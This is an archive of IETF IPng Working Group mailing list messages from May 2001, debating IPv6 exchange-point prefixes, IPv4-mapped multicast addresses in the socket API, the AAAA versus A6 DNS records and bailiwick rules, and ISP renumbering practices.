[128.9.160.57]) by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f47IKUP27965; Mon, 7 May 2001 11:20:30 -0700 (PDT) From: Bill Manning Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.8.6) id f47IKUr06164; Mon, 7 May 2001 11:20:30 -0700 Message-Id: <200105071820.f47IKUr06164@zed.isi.edu> Subject: Re: addresses for BGP peering To: itojun@iijlab.net Date: Mon, 7 May 2001 11:20:30 -0700 (PDT) Cc: bmanning@ISI.EDU (Bill Manning), ipng@sunroof.eng.sun.com In-Reply-To: <7110.989233924@itojun.org> from "itojun@iijlab.net" at May 07, 2001 08:12:04 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % % >% from the above I don't know if Bill have autoconfigured routers... % >% did you? % > Yes. This involved a number of boxes. (see the recent thread on % > host/router) % % (as there were many comments) RFC2462 is just for hosts, not for % routers. But, as the discussion pointed out, the IPv6 concept of "host" vs "router" may be done on a per-interface basis. As you mentioned, you found this to be a bit too flexable and refined this based on operational issues. % > The 6bone routing guideline is oriented toward ISPs, as are the RIR % > delegations practices. IX'en are different than ISPs and so the ISP % > rules applied to IX'en often break. % % ...therefore I tried to propose a written rule for IX prefix assignment % in the following email (like "you should accept /32 routes under % 3ffe:800::/24"). do you have any comments? This is an active area of discussion, at least in the RIPE and ARIN communities and I expect that we should divert further discussion there. (for ARIN, is the venue) -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 7 16:25:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f47NPuIM013007 for ; Mon, 7 May 2001 16:25:56 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f47NPuOS013006 for ipng-dist; Mon, 7 May 2001 16:25:56 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f47NPlIM012999 for ; Mon, 7 May 2001 16:25:47 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA27496 for ; Mon, 7 May 2001 16:25:48 -0700 (PDT) Received: from haupia.lava.net (haupia.lava.net [64.65.64.20]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA01480 for ; Mon, 7 May 2001 16:25:47 -0700 (PDT) Received: from malasada.lava.net([64.65.64.17]) (2948 bytes) by haupia.lava.net via smail with P:esmtp/R:inet_hosts/T:smtp (sender: ) id for ; Mon, 7 May 2001 13:25:46 -1000 (HST) (Smail-3.2.0.106 1999-Mar-31 #2 built 1999-Dec-7) Date: Mon, 7 May 2001 13:25:46 -1000 (HST) From: Antonio Querubin To: Subject: RE: multicast IPv4-mapped IPv6 addresses/sockets In-Reply-To: <200105041901.MAA25421@feller.mentat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Fri, 4 May 2001, Tim Hartrick wrote: > > So I'd argue for just sticking IPv4 multicast addresses in ::ffff:0:0/96 > > at the API and have the implementations which support mapped addresses > > do the right thing to send/receive IPv4 multicast packets in that case. > > > > I would agree. What we want is application transparency so allowing > ::ffff:224.x.y.z to represent IPv4 multicast addresses or ::ffff:127.0.0.1 > to represent IPv4 loopback addresses seems like the right thing. I suppose it should allow for whatever format gethostbyname() or getipnodebyname() returns (with or without the ff0e:: prefix) and just 'do the right thing' for transparency. After reading through the responses to this thread it's not clear to me whether there's any consensus for change. I see several issues: 1. Is the current non-transparency of the API for handling multicast addresses sufficiently annoying to warrant fixing 'something'? 2. Even if they're not annoying enough, should the specs be at least clarified one way or another? 3. If the specs need to be modified to either clarify and/or fix things then which ones and which parts? RFC-2373 section 2.5 covers only unicast addresses so the description of IPv4-mapped IPv6 addresses in 2.5.4 theoretically doesn't apply to multicast addresses at all. Since fixing this problem (if we do want to fix it) seems to revolve around the IPv6 representation of an IPv4 multicast address we're highly dependant on what RFC-2553 says. But section 3.7 of RFC-2553 makes no explicit distinction between unicast and multicast addresses. The distinction is implicit based on the definition of an IPv4-mapped address which leads us back to RFC-2373. For me the answers to #1 and #2 are YES for the same reasons already mentioned by others. For #3, I'm inclined to suggest a change to RFC-2373 where the format of IPv4-mapped multicast addresses be explicitly defined and then perhaps RFC-2553 wouldn't require modification. So do we want to explicitly 'define' what an IPv4-mapped multicast address should look like? Ie. should it look something like ff0e::ffff:224.5.6.7 to distinguish it from a real IPv6 multicast address or perhaps ::ffff:224.5.6.7 for similarity to IPv4-mapped unicast addresses? I'm inclined to go with the latter. So are these reasonable suggestions? And am I even asking in the right forum? Should I just propose a wording change to the existing RFCs? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 7 18:00:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4810qIM013093 for ; Mon, 7 May 2001 18:00:52 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f4810ptq013092 for ipng-dist; Mon, 7 May 2001 18:00:51 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4810lIM013085 for ; Mon, 7 May 2001 18:00:47 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f480vFm12541 for ipng@sunroof.eng.sun.com; Mon, 7 May 2001 17:57:15 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f45FLRIM010339 for ; Sat, 5 May 2001 08:21:28 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA10502 for ; Sat, 5 May 2001 08:21:28 -0700 (PDT) Received: from egyptian-gods.MIT.EDU (EGYPTIAN-GODS.MIT.EDU [18.101.0.162]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA22231 for ; Sat, 5 May 2001 08:21:27 -0700 (PDT) Received: (from ghudson@localhost) by egyptian-gods.MIT.EDU (8.9.3) id LAA15810; Sat, 5 May 2001 11:21:18 -0400 Message-Id: <200105051521.LAA15810@egyptian-gods.MIT.EDU> To: "D. J. Bernstein" cc: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing In-Reply-To: Your message of "04 May 2001 04:07:49 -0000." <20010504040749.8861.qmail@cr.yp.to> Date: Sat, 05 May 2001 11:21:18 -0400 From: Greg Hudson Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I'm finding it a little hard to follow parts of this argument for lack of knowledge of BIND's behavior with regard to out-of-bailiwick records. For instance, kre has argued that the bailiwick should not give special status to a record, but I believe I've seen Dan claim that BIND applies bailiwick-related logic to prevent malicious cache poisoning. Is kre arguing against BIND behavior as well as djbdns behavior? Anyway: > As for your suggestion: Yes, we can eliminate the reliability > problems caused by gluelessness, without introducing security > problems, by > (1) having the server provide the A for every NS and > (2) having the cache save the A only in the context of that NS. > This is (aside from the unnecessarily difficult parsing) > functionally identical to putting addresses directly into NS > records, which is my suggested fix. Applying the same fix to A6 > produces AAAA. But with that standard, you lose the flexibility of not providing glue records, or (in the case of A6) providing partial glue. For instance, a resolver providing an A6 record with a non-zero prefix could provide glue NS and A6 (with 0-length prefix) records for the name server which knows the prefix, but not the prefix itself, if the prefix changes frequently but the relevant name server addresses do not. I'm not sure whether that's a compelling argument for A6. It does seem, though, that (a) DNS is pretty much built on client-side indirection, even if server-side indirection would have been more robust; (b) A6 provides some kind of quick renumbering support consistent with the client-side indirection model; (c) if caches would accept out-of-bailiwick glue records in the context of the query they came from, then glue could be added to solve reliability problems as they crop up. In a different message on the same topic, Dan wrote: > Robert Elz writes: >> If a resolver has a cached A record to match the name in the NS >> record, > Sorry, but we can't cache records from outside the server's > bailiwick. See http://cr.yp.to/djbdns/notes.html, under Poison, > first example. I believe you misread. kre was saying that a cache might just happen to be holding a cached authoritative record matching the glue record, and could use the cached record instead of the glue record, so that a query might succeed (by chance) even if there is stale glue involved. Doesn't seem like a very big win. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 7 18:01:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4811VIM013103 for ; Mon, 7 May 2001 18:01:31 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f4811ViM013102 for ipng-dist; Mon, 7 May 2001 18:01:31 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4811OIM013095 for ; Mon, 7 May 2001 18:01:24 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f480vrV12571 for ipng@sunroof.eng.sun.com; Mon, 7 May 2001 17:57:53 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f46B4DIM011089 for ; Sun, 6 May 2001 04:04:13 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA13524 for ; Sun, 6 May 2001 04:04:11 -0700 (PDT) Received: from artemas.reachin.com (artemas.reachin.com [64.14.214.33]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id EAA15995 for ; Sun, 6 May 2001 04:04:10 -0700 (PDT) Received: (qmail 6535 invoked by uid 1233); 6 May 2001 04:04:08 -0700 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 6 May 2001 04:04:08 -0700 Date: Sun, 6 May 2001 04:04:08 -0700 (PDT) From: Sam Trenholme To: Robert Elz cc: "D. J. Bernstein" , , Subject: Re: AAAA/A6 thing In-Reply-To: <4289.989056310@brandenburg.cs.mu.OZ.AU> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > (I might just use ns1 ns2 instead of a.ns - just to save one byte in > each name in the packets - but that's so trivial as to be close to > irrelevant). Minor point: a.ns.tld and b.ns.tld take up a total of 11 bytes when compressed. ns1.tld and ns2.tld take up 12 bytes when compressed. The savings gets better as you add more name servers, since each instance of c.ns.tld, d.ns.tld, and so on take up four bytes, but ns3.tld, ns4.tld and so on take up six bytes a piece. - Sam -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 7 18:42:48 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f481glIM013164 for ; Mon, 7 May 2001 18:42:48 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f481gl0f013163 for ipng-dist; Mon, 7 May 2001 18:42:47 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f481gbIM013156 for ; Mon, 7 May 2001 18:42:38 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA13967 for ; Mon, 7 May 2001 18:42:38 -0700 (PDT) Received: from df-inet1.exchange.microsoft.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA00106 for ; Mon, 7 May 2001 18:42:37 -0700 (PDT) Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Mon, 7 May 2001 18:43:21 -0700 Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 07 May 2001 18:42:32 -0700 (Pacific Daylight Time) Received: from DF-MAX.platinum.corp.microsoft.com ([172.30.236.100]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Mon, 7 May 2001 18:42:32 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4703.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: multicast IPv4-mapped IPv6 addresses/sockets Date: Mon, 7 May 2001 18:42:31 -0700 Message-ID: <5B90AD65A9E8934987DB0C8C076265740878F5B1@DF-BOWWOW.platinum.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: multicast IPv4-mapped IPv6 addresses/sockets Thread-Index: AcDXUDF/7YDY/mUuTfaKZdB/BxfbmwADv2mg From: "Dave Thaler" To: "Antonio Querubin" Cc: X-OriginalArrivalTime: 08 May 2001 01:42:32.0779 (UTC) FILETIME=[266B91B0:01C0D760] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f481gcIM013157 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Antonio Querubin writes: > After reading through the responses to this thread it's not clear to me > whether there's any consensus for change. I see several issues: > > 1. Is the current non-transparency of the API for handling multicast > addresses sufficiently annoying to warrant fixing 'something'? > > 2. Even if they're not annoying enough, should the specs be at least > clarified one way or another? > > 3. If the specs need to be modified to either clarify and/or fix things > then which ones and which parts? RFC-2373 section 2.5 covers only unicast > addresses so the description of IPv4-mapped IPv6 addresses in 2.5.4 > theoretically doesn't apply to multicast addresses at all. Since fixing > this problem (if we do want to fix it) seems to revolve around the IPv6 > representation of an IPv4 multicast address we're highly dependant on what > RFC-2553 says. But section 3.7 of RFC-2553 makes no explicit distinction > between unicast and multicast addresses. The distinction is implicit > based on the definition of an IPv4-mapped address which leads us back to > RFC-2373. > > For me the answers to #1 and #2 are YES for the same reasons already > mentioned by others. For #3, I'm inclined to suggest a change to RFC-2373 > where the format of IPv4-mapped multicast addresses be explicitly defined > and then perhaps RFC-2553 wouldn't require modification. So do we want to > explicitly 'define' what an IPv4-mapped multicast address should look > like? Ie. should it look something like ff0e::ffff:224.5.6.7 to > distinguish it from a real IPv6 multicast address or perhaps > ::ffff:224.5.6.7 for similarity to IPv4-mapped unicast addresses? I'm > inclined to go with the latter. I'd agree with Yes for #1 and #2. There's no really "good" answer to #3, and I think it partly comes down to what people expect the answers to these questions to be: 4. For a v4-mapped multicast address, should IN6_IS_ADDR_V4MAPPED be TRUE? 5. For a v4-mapped multicast address, should IN6_IS_ADDR_MULTICAST be TRUE? The best technical answer would be Yes to both #4 and #5. However, that would mean the definition of one or the other of the macros would have to change to include the v4-mapped multicast address range, and that may not be reasonable at this point. Another alternative would be to define an IN6_IS_ADDR_V4MAPPED_MULTICAST macro, and make callers of either IN6_IS_ADDR_V4MAPPED or IN6_IS_ADDR_MULTICAST (depending on which prefix we go with) call the new macro too to cover all cases. -Dave -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 01:04:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48845IM013471 for ; Tue, 8 May 2001 01:04:05 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f4883xlw013470 for ipng-dist; Tue, 8 May 2001 01:03:59 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4883fIM013463 for ; Tue, 8 May 2001 01:03:45 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA17094 for ; Tue, 8 May 2001 01:03:41 -0700 (PDT) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA10827 for ; Tue, 8 May 2001 02:03:42 -0600 (MDT) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id LAA30155; Tue, 8 May 2001 11:15:08 +0300 Date: Tue, 8 May 2001 11:15:08 +0300 Message-Id: <200105080815.LAA30155@burp.tkv.asdf.org> From: Markku Savela To: tony@lava.net CC: ipng@sunroof.eng.sun.com In-reply-to: (message from Antonio Querubin on Mon, 7 May 2001 13:25:46 -1000 (HST)) Subject: Re: multicast IPv4-mapped IPv6 addresses/sockets Reply-to: Markku.Savela@iki.fi References: Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > From: Antonio Querubin > So do we want to explicitly 'define' what an IPv4-mapped multicast > address should look like? Ie. should it look something like > ff0e::ffff:224.5.6.7 to distinguish it from a real IPv6 multicast > address or perhaps ::ffff:224.5.6.7 for similarity to IPv4-mapped > unicast addresses? I'm inclined to go with the latter. I definitely don't want to see "ff0e::ffff:224.5.6.7" (or if I see it, it will be normal IPv6 multicast, the bits after "ff0e" are "opaque" to me, I don't want to make any special IPv4 related things for such address). I would still have to check against "::ffff:224.5.6.7" (in my implementation), and handle it as IPv4 where appropriate. Currently my "multicast actions" are triggered with test IsMulticast() || (addr[12] == 224 && IsV4Mapped()) where IsMulticast() is testing the IPv6 multicast prefix -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 02:01:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4891rIM013554 for ; Tue, 8 May 2001 02:01:53 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f4891rqV013553 for ipng-dist; Tue, 8 May 2001 02:01:53 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4891hIM013546 for ; Tue, 8 May 2001 02:01:43 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA20245 for ; Tue, 8 May 2001 02:01:43 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA21465 for ; Tue, 8 May 2001 02:01:41 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id QAA21207; Tue, 8 May 2001 16:01:35 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f4891Wp04653; Tue, 8 May 2001 16:01:33 +0700 (ICT) From: Robert Elz To: Ian Jackson cc: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing In-Reply-To: <15094.43269.434847.722184@davenant.relativity.greenend.org.uk> References: <15094.43269.434847.722184@davenant.relativity.greenend.org.uk> <20010504085136.15388.qmail@cr.yp.to> <20010504040749.8861.qmail@cr.yp.to> <20010430190948.19724.qmail@cr.yp.to> <200105011429.KAA08968@egyptian-gods.MIT.EDU> <3347.988958757@brandenburg.cs.mu.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 08 May 2001 16:01:32 +0700 Message-ID: <4651.989312492@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Mon, 7 May 2001 14:54:13 +0100 (BST) From: Ian Jackson Message-ID: <15094.43269.434847.722184@davenant.relativity.greenend.org.uk> | It isn't written down in 1034/5. However, it is a necessary concept | to avoid cache poisoning. Rubbish. It is one broken theory of a technique that might help. It doesn't actually avoid cache poisoning (I don't think anyone would claim that - though there is this silly argument that it was really all mine to alter as I see fit anyway ... by that argument, I get to change anything about cr.yp.to as I'm one of the servers for TO... That's ludicrous). | In order for that to be true then out-of-bailiwick | RRsets which appear in answers (eg in the additional section) | shouldn't be used (except perhaps as glue - here be dragons). Forget the "out of bailiwick" nonsense - you really mean answers that don't come from the authoritative servers for the data. And "except as glue" which is exactly what this discussion has been about. The "here be dragons" is just FUD, which carries no weight at all. | No, that's not true. Supposing a cache knows nothing about any | servers for aol.com. Then if it wants the address of www.aol.com it | will ask the servers for .com (ie, it will send them the query | `www.aol.com IN A ?'), and if those servers give an answer | (www.aol.com A ...) then that answer will be cached and used. It might be - but the com server cannot guarantee that. It cannot even guarantee that a client seeking www.aol.com will ask the com servers for the A records for www.aol.com. All it can expect is a request for the NS records for aol.com, which is all that some clients might request. And even if the client did request the A record, all it will get is a non-auth answer - which might be enough to cause the answer to be ignored and for it to go seen answers from the auth server. Hence, the only way that a com server can reliably redirect www.aol.com is to alter the servers for aol.com. It might sometimes be able to direct traffic to a different address, but it can't do that reliably enough to make the change permanent. | Indeed, not all subdomains are subzones, and the design of the DNS | arranges that caches do not need to know the delegation points unless | they actually get a referral. Of course, and if there are no NS records for aol.com, then www.aol.com would be in the COM zone, and the com servers would be entitled to hand out whatever address they like - authoritatively. Also, note that none of this is ever going to be any protection against someone deliberately setting out to maliciously alter data - only dnssec type techniques can achieve that. In the non-signed cases, all we're really interested in is inadvertent data errors (mistakes). kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 8 02:02:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4892oIM013564 for ; Tue, 8 May 2001 02:02:50 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f4892nd1013563 for ipng-dist; Tue, 8 May 2001 02:02:49 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4892ZIM013556 for ; Tue, 8 May 2001 02:02:36 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA20943 for ; Tue, 8 May 2001 02:02:35 -0700 (PDT) Received: from minuet.das.harvard.edu (minuet.das.harvard.edu [140.247.50.251]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA26537 for ; Tue, 8 May 2001 02:02:33 -0700 (PDT) Received: from endor.deas.harvard.edu (endor.harvard.edu [128.103.50.55]) by minuet.das.harvard.edu (8.9.1/8.9.1) with ESMTP id FAA24574; Tue, 8 May 2001 05:02:26 -0400 (EDT) From: Dan Lanciani Received: (from ddl@localhost) by endor.deas.harvard.edu (8.8.8/8.8.8) id FAA18996; Tue, 8 May 2001 05:02:26 -0400 (EDT) Date: Tue, 8 May 2001 05:02:26 -0400 (EDT) Message-Id: <200105080902.FAA18996@endor.deas.harvard.edu> To: ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Robert Elz wrote: | | Anyone who currently | | owns portable IPv4 address space isn't going to give it up without a fight. | |No, but that isn't v6 address space, so it isn't really relevant to the |immediate issue. It's relevant unless you eliminate 6to4 and any other scheme that generates portable v6 address space from v4 space. 6to4 is actually rather interesting in that it has the potential to overtake "native" v6 addressing (especially considering Microsoft's treatment of 6to4 as a first-class citizen). Once 6to4 has served its purpose of jump-starting IPv6 deployment and the time comes to kill it off in favor of native aggregated addressing, the task may be more difficult than was anticipated. If the bulk of users are on the 6to4 side, simply severing ties to the native backbone won't do the trick since that would hurt the native users more than the 6to4 users. It would instead require action on the v4 backbone to block the encapsulated 6to4 traffic, and that might raise some eyebrows. | | This is not progress. Router renumbering gives ISPs a tool to conveniently | | change your addresses out from under you if you haven't paid a premium for | | stable address space. | |I don't think I'd quite go that far - it gives me a tool to help me |renumber my site a little easier if that is forced upon me (for whatever |reason). I don't think it quite allows an ISP to do that without my |consent. But maybe I missed something in the RFC? I can't imagine how an ISP would need your consent to renumber. Unless you mean this in the trivial sense that the ISP can't force you to change your numbers beyond making those numbers no longer work... | | Real progress | | would mean solving the much harder end-node renumbering problem with all | | that entails at the protocol and application level. | |Certainly. But this may be an issue where real progress is built of |a very large number of very tiny steps, rather any any single quantum leap |forward. Clearly we disagree on this point. Since there is no overview of the solution that is to evolve from the current approach, there is no reason to believe that these particular tiny steps are actually moving in the right direction. They may appear to "solve" in some sense some aspect of the problem, but we may find that a complete solution at best subsumes the partial solutions (leaving a lot of legacy warts) or at worst is incompatible with existing deployment. | | This is the model that ISPs are promoting. If you want to do anything | | interesting you need static address space, and you are going to pay for it. | | (Of course, you have to beg for the privilege of paying for it and it still | | isn't portable.) | |Yes, I can see that as an attractive model for some people. Yes, well, umm, it's an attractive model for the people selling the addresses and an unattractive one for those who are paying. |Personally, if |we can make renumbering work well enough, then I don't think I'll care if |my address changes every now and again. If renumbering could be made totally transparent then stable addresses would no longer have value and we wouldn't have to pay for them. But that would upset the current status quo so it isn't going to happen. |But I suspect you're also thinking of the "I am going to stop you running |a server" mentality of some ISPs I'm thinking of the ``we are going to charge for anything we can even if it has no marginal cost to us... just like phone companies'' mentality of some ISPs. |- the dhcp lists get questions from them |along the lines of "how to I force (dhcp) clients to give up their old address |and get a new (different) one every few hours?" That's for exactly that |purpose. And the tcp-ip protocol lists get questions from them along the lines of, ``how do we detect and stop NAT activity.'' |Of course, this is because they're designing a service, and |supplying bandwidth, and then charging the customers, based upon the |assumption that they're a (current) "typical home user" - ie: someone who |sends and gets a bit of e-mail, and browses the web a bit. The e-mail is |insignificant and irrelevant in the grand scheme of things, and the web |browsing all just bangs on the local proxy cache. Hence cheap rates |are possible. It's more difficult to build a service where they sell bandwidth so they sell addresses instead. This thinking is not going to change with IPv6. And the thinking is applied to business accounts as well, so the "typical home user" part is questionable. |But none of that really has much to do with renumbering ease, or IPv6. It does in the general sense of whether IPv6 will cater to the ISP's needs or to the customer's needs. More 